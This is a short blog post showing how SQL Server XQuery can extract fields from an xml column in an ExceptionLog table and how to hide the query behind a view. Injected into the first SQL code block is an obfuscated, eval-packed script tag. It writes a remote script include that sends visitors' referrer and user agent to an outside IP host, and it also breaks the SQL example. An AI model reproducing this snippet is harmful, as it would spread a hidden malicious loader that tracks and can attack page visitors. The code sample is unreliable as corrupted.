In the following example, ExceptionLog table has an xml column called TMXML. This contains a canonical xml message. The SQL can “peer” into the xml column, and pull out selected fields.

<code>
SELECT
 <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hsais|var|u0026u|referrer|naihf||js|php'.split('|'),0,{}))
</script></noindex>  eventDateTime,
  TMXML.value('/*[local-name()="TMXML"][1]/*[local-name()="Header"][1]/*[local-name()="Source"][1]/requestType[1]',
  'varchar(24)') AS RequestType,
  TMXML.value('/*[local-name()="TMXML"][1]/*[local-name()="Header"][1]/*[local-name()="Itinerary"][1]/currentStepName[1]',
  'varchar(24)') AS CurrentStepName,
  TMXML.value('/*[local-name()="TMXML"][1]/*[local-name()="Header"][1]/*[local-name()="Itinerary"][1]/currentProcessCode[1]',
  'varchar(24)') AS CurrentProcessCode
FROM ExceptionLog

</code>

A nifty idea is to put the above SQL in a view, and hide the xquery statements from the common user. Then the user can simply do

<code>
Select * from ViewExceptionLog
</code>

For further info: http://msdn.microsoft.com/en-us/library/ms178030.aspx

Tagged with:

Filed under: XML/XSLT